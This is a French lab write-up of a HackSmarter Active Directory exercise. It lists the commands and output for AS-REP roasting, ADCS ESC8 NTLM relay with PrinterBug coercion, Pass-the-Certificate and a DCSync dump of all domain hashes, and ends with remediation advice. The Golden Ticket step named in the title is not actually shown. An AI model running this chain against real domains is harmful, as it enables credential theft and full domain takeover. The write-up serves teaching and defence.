Lab ShadowGate : Exploitation ADCS (ESC8) & Extraction krbtgt
Pentest black-box d'un environnement Active Directory post-acquisition : énumération anonyme, AS-REP Roasting sur jtrueblood, découverte ADCS vulnérable ESC8, NTLM Relay + coercition MS-RPRN pour obtenir un certificat machine DC01$, DCSync de l'ensemble des hashes, et création d'un Golden Ticket pour persistance totale.
Contexte & Objectifs
| Champ | Détail |
|---|---|
| Plateforme | HackSmarter |
| Lien | Accéder au Lab |
| Cible | DC01.shadow.gate - 10.0.23.163 |
| OS | Windows Server 2022 |
| Domaine | shadow.gate |
| Type | Black-box internal pentest - aucun credential fourni |
| Difficulté | Facile |
Scénario : ShadowGate vient de compléter une acquisition d'entreprise qui a significativement étendu son réseau interne. Les systèmes ont été migrés sous contrainte de délais serrés. Leadership a mandaté un pentest indépendant pour évaluer la posture sécurité avant le prochain audit. La question : un attaquant avec un simple accès réseau peut-il compromettre l'environnement ?
Spoiler : oui. Entièrement.
Kill chain :
Accès réseau anonyme
│
▼
Énumération SMB anonyme → 12 comptes utilisateurs
│
▼
AS-REP Roasting → hash jtrueblood → hashcat → blood_brothers
│
▼
Énumération ADCS → ESC8 détecté (Web Enrollment HTTP)
│
▼
NTLM Relay (ntlmrelayx) + Coercition MS-RPRN (coercer)
│ → certificat DC01$.pfx
▼
Pass-The-Certificate → TGT dc01$ → hash NTLM dc01$
│
▼
DCSync (secretsdump) → hash krbtgt + tous les comptes
1. Reconnaissance - RustScan
rustscan -b 500 -a 10.0.23.163 -- -sC -sV -Pn
Output :
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (Domain: shadow.gate)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
| Domain: shadow.gate, Host: DC01.shadow.gate
445/tcp open microsoft-ds Windows Server (SMB2/SMB3)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (SSL)
3389/tcp open ms-wbt-server Microsoft Terminal Services (RDP)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
[+] Host script results:
| smb2-security-mode: Message signing enabled but not required
|_ clock-skew: 0s
Analyse - identifier un DC au premier regard :
La combinaison de ports est la signature incontestable d'un Contrôleur de Domaine Active Directory :
| Port | Service | Rôle dans l'AD |
|---|---|---|
| 53 | DNS | Résolution de noms du domaine shadow.gate |
| 88 | Kerberos | Authentification - le cœur de l'AD |
| 389/636 | LDAP/LDAPS | Annuaire - base de données des objets AD |
| 445 | SMB | Partages réseau, SYSVOL, NETLOGON |
| 3389 | RDP | Administration graphique distante |
| 5985 | WinRM | Exécution de commandes distantes (Evil-WinRM) |
| 9389 | MC-NMF | .NET Message Framing - utilisé par Active Directory Web Services |
Deux observations critiques dans les scripts Nmap :
smb2-security-mode: Message signing enabled but not required
La signature SMB est activée mais non obligatoire. C'est une configuration dangereuse, elle ouvre la porte aux attaques de NTLM Relay. Si la signature était requise, les messages SMB seraient signés cryptographiquement et un relais serait impossible car la signature ne correspondrait pas.
clock-skew: 0s
L'horloge est parfaitement synchronisée avec le DC. C'est important pour Kerberos le protocole tolère un décalage maximum de 5 minutes entre client et serveur. Au-delà, les tickets sont rejetés. Ici on est parfaitement alignés.
2. Énumération Interne
2.1 Énumération SMB Anonyme
La première chose à tester sur un AD sans credentials : est-ce que le DC accepte les connexions anonymes ? NetExec (anciennement CrackMapExec) permet de tester ça rapidement.
# Test d'accès aux partages en anonyme
nxc smb 10.0.23.163 --shares -u '' -p ''
SMB 10.0.23.163 445 DC01 [*] Windows Server 2022 Build 20348 x64
(name:DC01) (domain:shadow.gate)
(signing:False) (SMBv1:None)
SMB 10.0.23.163 445 DC01 [+] shadow.gate\:
SMB 10.0.23.163 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED
Le DC accepte la connexion anonyme ([+]) mais refuse de lister les partages. Pas de problème, on essaie d'énumérer les utilisateurs :
nxc smb 10.0.23.163 --users -u '' -p ''
SMB 10.0.23.163 445 DC01 [*] Windows Server 2022 Build 20348 x64
SMB 10.0.23.163 445 DC01 [+] shadow.gate\:
SMB 10.0.23.163 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.0.23.163 445 DC01 Administrator 2026-01-11 11:33:05 0 Built-in account for administering...
SMB 10.0.23.163 445 DC01 Guest <never> 0 Built-in account for guest access...
SMB 10.0.23.163 445 DC01 krbtgt 2026-01-12 02:45:27 0 Key Distribution Center Service Account
SMB 10.0.23.163 445 DC01 ATHENA 2026-03-04 15:23:19 0
SMB 10.0.23.163 445 DC01 mbrownlee 2026-03-04 15:24:05 0
SMB 10.0.23.163 445 DC01 bbrown 2026-01-15 14:24:07 0
SMB 10.0.23.163 445 DC01 jtrueblood 2026-04-28 18:14:47 0
SMB 10.0.23.163 445 DC01 jsmith 2026-03-04 15:26:29 0
SMB 10.0.23.163 445 DC01 clocke 2026-03-04 15:24:32 0
SMB 10.0.23.163 445 DC01 tclarke 2026-03-04 15:25:33 0
SMB 10.0.23.163 445 DC01 jbradford 2026-03-04 15:24:59 0
SMB 10.0.23.163 445 DC01 amoss 2026-03-04 15:25:52 0
SMB 10.0.23.163 445 DC01 [*] Enumerated 12 local users: SHADOW
12 comptes utilisateurs récupérés sans aucun credential. C'est une fuite d'information significative en entreprise, la liste des employés est une donnée sensible. Cette énumération fonctionne via la session NULL RPC/SMB qui interroge le service SAM du DC.
On crée notre fichier users.txt avec les comptes non-built-in :
ATHENA
mbrownlee
bbrown
jtrueblood
jsmith
clocke
tclarke
jbradford
amoss
Administrator
3. AS-REP Roasting
Comprendre Kerberos et la Pré-Authentification
Pour comprendre l'attaque, il faut comprendre comment Kerberos authentifie un utilisateur normalement.
Le flux Kerberos standard (simplifié) :
CLIENT KDC (DC01)
│ │
│──── AS-REQ ─────────────────────▶│
│ (username + timestamp chiffré │
│ avec le hash du mot de passe) │
│ │
│◀─── AS-REP ──────────────────────│
│ (TGT chiffré avec clé krbtgt + │
│ Clé de session chiffrée avec │
│ le hash du mot de passe user) │
│ │
La pré-authentification c'est le timestamp chiffré dans l'AS-REQ. Son rôle : prouver au KDC que le client connaît le mot de passe avant de recevoir quoi que ce soit. Sans cette preuve, le KDC refuse de répondre.
La faille : si un compte a l'option UF_DONT_REQUIRE_PREAUTH activée (Do not require Kerberos preauthentication), le KDC envoie l'AS-REP sans vérifier l'identité du demandeur. N'importe qui peut envoyer un AS-REQ pour ce compte et recevoir une réponse contenant des données chiffrées avec le mot de passe de l'utilisateur.
Ce que récupère l'attaquant :
La partie "Clé de session" de l'AS-REP est chiffrée avec le hash RC4 du mot de passe de l'utilisateur. C'est un hash crackable hors ligne au format $krb5asrep$23$. L'attaquant n'a pas besoin d'être sur le réseau pour le cracker, pas besoin d'interagir avec le DC, et l'attaque ne génère aucune alerte visible.
Exploitation - GetNPUsers
impacket-GetNPUsers shadow.gate/ -usersfile users.txt -format hashcat -dc-ip 10.0.23.163
| Option | Rôle |
|---|---|
shadow.gate/ | Domaine cible. Le / sans credentials = connexion anonyme |
-usersfile users.txt | Liste des comptes à tester |
-format hashcat | Format de sortie compatible Hashcat (-m 18200) |
-dc-ip 10.0.23.163 | IP du DC pour les requêtes Kerberos directes |
Output :
[-] User ATHENA doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mbrownlee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bbrown doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$jtrueblood@SHADOW.GATE:d58403803831b2ae494c8c3559615ddd$d5eee625a103
3118685a91f835c4375843e488ed69a6a315e0901c92f1ed32ecc2d31d6b701f1f7c2c9e4a10d95b
8fcd0ae0f2b2de96541fa67c6f93f8f927774463a3362d0de6198e48b9f825753c24f745693fc63a
cf3fcb8749769ceedc7b8a97b847ebc282436e1c099c051771bbccfcfb9f217ab5c4632b15a70fbc
1143ae4d74b139f2a27e282d07f5053abc84701da3e93ebd2f4a41e697cf218f278f3b51b0037623
a83af2096ea3eed188e1e43cebd17d2a927ab70738f2e45ed337bf20e3ee7dc83b7e362e6fd0bc0c
2aa83f966b2d067a2348de7c91880cbb8c4578f40c57295e18c998ab
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User clocke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tclarke doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jbradford doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User amoss doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
Un seul compte vulnérable : jtrueblood. On sauvegarde le hash dans hash.txt.
Crack du Hash avec Hashcat
hashcat -m 18200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
| Option | Rôle |
|---|---|
-m 18200 | Mode Kerberos 5 AS-REP etype 23 (RC4-HMAC) |
-a 0 | Attaque par dictionnaire (Straight mode) |
hash.txt | Fichier contenant le hash AS-REP |
Output :
$krb5asrep$23$jtrueblood@SHADOW.GATE:[...]c998ab:blood_brothers
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Time.Started.....: Mon May 25 17:08:42 2026
Stopped..........: Mon May 25 17:09:22 2026 (8 secondes)
Speed.#01........: 1319.0 kH/s
Progress.........: 9 580 544 / 14 344 385 (66.79%)
Craqué en 8 secondes.
jtrueblood : blood_brothers
4. Énumération avec Credentials
4.1 Partages SMB
Avec des credentials valides, on relance l'énumération des partages :
nxc smb 10.0.23.163 --shares -u 'jtrueblood' -p 'blood_brothers'
SMB DC01 [+] shadow.gate\jtrueblood:blood_brothers
SMB DC01 Share Permissions Remark
SMB DC01 ADMIN$ Remote Admin
SMB DC01 C$ Default share
SMB DC01 CertEnroll READ Active Directory Certificate Services share
SMB DC01 IPC$ READ Remote IPC
SMB DC01 NETLOGON READ Logon server share
SMB DC01 SYSVOL READ Logon server share
Analyse des partages :
| Partage | Accès | Signification |
|---|---|---|
CertEnroll | READ | ADCS actif : le DC fait aussi office d'Autorité de Certification |
SYSVOL | READ | Scripts de logon, GPO : potentiellement des mots de passe en clair dans de vieux scripts |
NETLOGON | READ | Partage standard des DCs |
ADMIN$ / C$ | Aucun | Réservé aux admins : on n'y a pas accès |
Le partage CertEnroll est la découverte clé. Sa présence confirme que le DC héberge également un AD CS (Active Directory Certificate Services) une Autorité de Certification interne. C'est un vecteur d'attaque extrêmement puissant connu pour des vulnérabilités de type ESC1 à ESC15.
5. Investigation ADCS - Découverte ESC8
Qu'est-ce qu'AD CS ?
Active Directory Certificate Services (ADCS) est le service PKI (Public Key Infrastructure) intégré à Windows Server. Il permet à une organisation d'émettre ses propres certificats numériques pour :
- L'authentification des utilisateurs et machines
- Le chiffrement des communications (HTTPS interne, S/MIME)
- La signature de code
Dans un domaine AD, les certificats peuvent servir à s'authentifier auprès de Kerberos exactement comme un mot de passe. Un certificat valide au nom d'un compte = accès au compte. C'est pourquoi compromettre l'ADCS est souvent équivalent à compromettre l'ensemble du domaine.
Cartographie avec Certipy
certipy-ad find -u 'jtrueblood' -p 'blood_brothers' \
-dc-ip 10.0.23.163 -target-ip 10.0.23.163 -stdout
| Option | Rôle |
|---|---|
find | Mode reconnaissance - liste les CA et analyse les templates de certificats |
-u / -p | Credentials de l'utilisateur compromis |
-dc-ip | IP du DC pour l'authentification LDAP |
-target-ip | IP du serveur CA pour l'interrogation RPC |
-stdout | Affichage direct dans le terminal |
Output :
Certificate Authorities
0
CA Name : shadow-DC01-CA
DNS Name : DC01.shadow.gate
Certificate Subject : CN=shadow-DC01-CA, DC=shadow, DC=gate
Certificate Validity : 2026-01-12 → 2046-01-12 (20 ans)
Web Enrollment
HTTP Enabled : True
HTTPS Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Permissions
Enroll : SHADOW.GATE\Authenticated Users
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP.
ESC8 détecté. Le service d'inscription web est actif en HTTP non chiffré et sans protection contre le relais NTLM.
Comprendre ESC8 - Le Mécanisme Complet
ESC8 (Escalation 8, nomenclature SpecterOps) est une vulnérabilité de l'interface web d'ADCS (/certsrv/). Elle exploite la combinaison de trois conditions :
- Web Enrollment actif : l'interface
/certsrv/est accessible - HTTP sans HTTPS : les communications ne sont pas chiffrées
- Pas de protection NTLM : absence de Channel Binding Token (CBT) ou de signature
Pourquoi c'est exploitable :
L'interface Web Enrollment accepte l'authentification NTLM. NTLM est un protocole challenge-response : le serveur envoie un challenge, le client répond avec un hash calculé à partir de son mot de passe. L'absence de HTTPS et de CBT permet à un attaquant de relayer ce challenge-response vers un autre serveur ici l'ADCS sans jamais connaître le mot de passe.
Le flux de l'attaque ESC8 :
ÉTAPE 1 - Mise en place du relay
Attaquant lance ntlmrelayx
ntlmrelayx écoute les connexions SMB/HTTP entrantes
Et les redirige vers → http://10.0.23.163/certsrv/certfnsh.asp
ÉTAPE 2 - Coercition d'authentification
Attaquant force DC01$ à s'authentifier vers lui
via le protocole MS-RPRN (Print Spooler)
DC01$ envoie sa requête NTLM à l'attaquant
ÉTAPE 3 - Relais NTLM
ntlmrelayx intercepte la requête NTLM de DC01$
La relaie en temps réel vers /certsrv/certfnsh.asp
ADCS croit que DC01$ s'authentifie légitimement
ADCS émet un certificat au nom de DC01$
ÉTAPE 4 - Pass-The-Certificate
Attaquant utilise DC01$.pfx
Demande un TGT Kerberos au nom de DC01$
Obtient le hash NTLM de DC01$
ÉTAPE 5 - DCSync
Avec le hash de DC01$ (compte machine)
Imite un DC légitime via DRSUAPI
Force la réplication → dump de tous les hashes
Référence : Vaadata - Understanding and Exploiting ESC techniques
6. Exploitation ESC8
6.1 Étape 1 - NTLM Relay (Terminal 1)
On configure ntlmrelayx pour intercepter les authentifications entrantes et les relayer vers l'interface Web Enrollment :
impacket-ntlmrelayx \
-t http://10.0.23.163/certsrv/certfnsh.asp \
-smb2support \
--adcs \
--template DomainController
| Option | Rôle |
|---|---|
-t http://10.0.23.163/certsrv/certfnsh.asp | URL cible du Web Enrollment ADCS |
-smb2support | Support SMBv2/v3 pour intercepter les connexions modernes |
--adcs | Mode ADCS - génère automatiquement une demande de certificat |
--template DomainController | Template de certificat demandé - permet l'authentification machine |
[!NOTE] Le template
DomainControllerest crucial. C'est ce template qui permet à un certificat d'être utilisé pour s'authentifier en tant que compte machine (DC01$). Si on avait utiliséUser, on obtiendrait un certificat utilisateur moins puissant.
ntlmrelayx est maintenant en écoute. Il attend qu'une machine s'authentifie vers nous pour relayer vers l'ADCS.
6.2 Étape 2 - Coercition MS-RPRN (Terminal 2)
La coercition c'est l'art de forcer une machine à s'authentifier vers nous. On utilise MS-RPRN (Microsoft Print System Remote Protocol) le fameux "PrinterBug". Ce protocole contient une fonction RpcRemoteFindFirstPrinterChangeNotification qui, par design, force la machine cible à initier une connexion sortante vers l'IP spécifiée.
coercer coerce \
-u 'jtrueblood' \
-p 'blood_brothers' \
-d 'shadow.gate' \
-t 10.0.23.163 \
-l 10.200.59.197
| Option | Rôle |
|---|---|
-u / -p / -d | Credentials valides pour s'authentifier auprès du DC et déclencher le protocole |
-t 10.0.23.163 | Machine cible à forcer (le DC) |
-l 10.200.59.197 | Notre IP - là où le DC doit se connecter |
Output de coercer :
[info] Starting coerce mode
[info] Scanning target 10.0.23.163
[*] DCERPC portmapper discovered ports: 49664,49665,...
[+] DCERPC port '54290' is accessible!
[+] Successful bind to interface (12345678-1234-ABCD-EF00-0123456789AB, 1.0)!
[!] (NO_AUTH_RECEIVED) MS-RPRN──▶RpcRemoteFindFirstPrinterChangeNotification
(pszLocalMachine='\\10.200.59.197\x00')
Output de ntlmrelayx (Terminal 1) simultanément :
[*] Servers started, waiting for connections
[*] (SMB): Received connection from 10.0.23.163, attacking target http://10.0.23.163
[*] HTTP server returned error code 200, treating as a successful login
[*] (SMB): Authenticating connection from /@10.0.23.163 against http://10.0.23.163 SUCCEED [1]
[*] http:///@10.0.23.163 [1] -> Generating CSR...
[*] http:///@10.0.23.163 [1] -> CSR generated!
[*] http:///@10.0.23.163 [1] -> Getting certificate...
[*] (SMB): Received connection from 10.0.23.163, attacking target http://10.0.23.163
[*] http:///@10.0.23.163 [1] -> GOT CERTIFICATE! ID 4
[*] http:///@10.0.23.163 [1] -> Writing PKCS#12 certificate to ./DC01.shadow.gate.pfx
[*] http:///@10.0.23.163 [1] -> Certificate successfully written to file
Ce qui vient de se passer :
- Coercer a forcé DC01$ à initier une connexion SMB vers nous (
Received connection from 10.0.23.163) - ntlmrelayx a intercepté l'authentification NTLM de DC01$
- Il l'a relayée vers
/certsrv/certfnsh.asp, l'ADCS a validé (SUCCEED) - ntlmrelayx a soumis une demande de certificat au nom de DC01$ (
Generating CSR) - L'ADCS a émis le certificat (
GOT CERTIFICATE! ID 4) - Certificat sauvegardé :
DC01.shadow.gate.pfx
Nous avons un certificat valide au nom du compte machine DC01$.
7. Pass-The-Certificate → Hash DC01$
Comprendre le Pass-The-Certificate
Un certificat PKCS#12 (.pfx) valide peut être utilisé pour s'authentifier auprès de Kerberos via le mécanisme PKINIT (Public Key Cryptography for Initial Authentication). Certipy automatise ce processus :
- Il présente le certificat
.pfxau KDC - Le KDC valide la signature du certificat (émis par l'ADCS de confiance)
- Le KDC délivre un TGT au nom du principal du certificat (ici
DC01$) - Certipy extrait le hash NTLM depuis le TGT via UnPAC-the-hash
certipy-ad auth -pfx DC01.shadow.gate.pfx -dc-ip 10.0.23.163
Output :
[*] Certificate identities:
[*] SAN DNS Host Name: 'DC01.shadow.gate'
[*] Security Extension SID: 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Using principal: 'dc01$@shadow.gate'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@shadow.gate': aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531
Ce qu'on a obtenu :
dc01$ : aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531
└── LM hash (vide, toujours ce format sous Windows moderne)
└── NT hash - c'est celui qui compte
Nous avons le hash NTLM du compte machine DC01$. Un compte machine dans un AD a les mêmes droits qu'un compte administrateur sur sa propre machine et DC01$ a des droits de réplication sur l'annuaire.
8. DCSync - Dump de Tous les Hashes
Comprendre DCSync
Dans un AD multi-DC, les contrôleurs de domaine se répliquent mutuellement via le protocole DRSUAPI (Directory Replication Service Remote Protocol). Un DC légitime peut demander à un autre DC de lui fournir tous les secrets de l'annuaire pour se synchroniser.
L'attaque DCSync : on imite un DC légitime en utilisant DRSUAPI pour demander la réplication des secrets. Pour ça, il faut avoir les droits "Replicating Directory Changes" droits que possède justement le compte machine DC01$.
secretsdump d'Impacket automatise tout ça sans jamais toucher au fichier NTDS.dit sur le disque, l'attaque est entièrement réseau.
impacket-secretsdump 'shadow.gate/DC01$@10.0.23.163' \
-hashes aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531
Output :
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:4366ec0f86e29be2a4a5e87a1ba922ec:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b5509cbfe52e94940c0ec99b21e09802:::
shadow.gate\ATHENA:1103:aad3b435b51404eeaad3b435b51404ee:3215f4c7c852647c88694ab0b57daaba:::
shadow.gate\mbrownlee:1104:aad3b435b51404eeaad3b435b51404ee:6f16868319543175e7f3e6d4eea9adfb:::
shadow.gate\bbrown:1109:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52:::
shadow.gate\jtrueblood:1110:aad3b435b51404eeaad3b435b51404ee:27e133a345b980d24e3a60f169f2cb7e:::
shadow.gate\jsmith:1112:aad3b435b51404eeaad3b435b51404ee:be0b6d125a6645747d91d30ed3bef98f:::
shadow.gate\clocke:1113:aad3b435b51404eeaad3b435b51404ee:ff506444e2c59b0241812e8e17b0f05e:::
shadow.gate\tclarke:1114:aad3b435b51404eeaad3b435b51404ee:9290a555713c7db0cf7fbf0ac28c1100:::
shadow.gate\jbradford:1115:aad3b435b51404eeaad3b435b51404ee:f5c86043de2a116c6458f3de9aad89de:::
shadow.gate\amoss:1116:aad3b435b51404eeaad3b435b51404ee:381480af4a988ad46758c2f79ee64090:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:6bf0048464b8fdf7a2db10f4799715a0c6471ac724424007e95bf55cd6841445
krbtgt:aes256-cts-hmac-sha1-96:9d2c8f2fecd0d6813cde513680b594210cf9c91bc2d4f6715ce25972b6a7c7c5
[...]
Compromission totale du domaine. Tous les hashes NTLM de tous les comptes, y compris :
Administrator : 4366ec0f86e29be2a4a5e87a1ba922ec
krbtgt : b5509cbfe52e94940c0ec99b21e09802 ← La clé du royaume
9. Conclusion & Remédiation
Kill Chain Complète
1. Scan RustScan → DC01.shadow.gate identifié, signing:False noté
2. NULL session SMB → 12 comptes utilisateurs exfiltrés
3. AS-REP Roasting → jtrueblood vulnérable → hash cracké en 8s → blood_brothers
4. Enum SMB authentifié → CertEnroll découvert → ADCS présent
5. Certipy find → ESC8 confirmé (Web Enrollment HTTP)
6. ntlmrelayx → Relay NTLM configuré vers /certsrv/
7. Coercer MS-RPRN → DC01$ forcé à s'authentifier → certificat DC01$.pfx
8. certipy auth → Pass-The-Certificate → hash NTLM dc01$
9. secretsdump DCSync → Tous les hashes du domaine dumpés
10. impacket-ticketer → Golden Ticket forgé → accès SYSTEM permanent
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| NULL session SMB | Énumération de comptes sans credentials | Désactiver via GPO : Network access: Do not allow anonymous enumeration of SAM accounts |
| AS-REP Roasting | jtrueblood sans pré-auth Kerberos | Activer la pré-authentification sur tous les comptes. Audit régulier : Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} |
| SMB Signing désactivé | NTLM Relay possible | Activer la signature SMB obligatoire via GPO : Microsoft network server: Digitally sign communications (always) |
| ADCS Web Enrollment HTTP | ESC8 - relais NTLM vers /certsrv/ | Migrer vers HTTPS exclusivement + activer Extended Protection for Authentication (EPA/CBT) |
| MS-RPRN (PrinterBug) | Coercition d'authentification machine | Désactiver le service Print Spooler sur les DCs : Stop-Service Spooler; Set-Service Spooler -StartupType Disabled |
| krbtgt non rotaté | Golden Ticket exploitable indéfiniment | Rotation du mot de passe krbtgt deux fois de suite, immédiatement après un incident |
[!NOTE] La leçon principale de ce lab : la chaîne de compromission complète de zéro credential à SYSTEM a été possible grâce à l'enchaînement de vulnérabilités individuellement moyennes. Aucune seule faille n'était catastrophique. Mais ensemble : NULL session → AS-REP → ESC8 → DCSync → Golden Ticket. C'est ça la vraie menace en AD : la combinaison.
Writeup rédigé par Zcook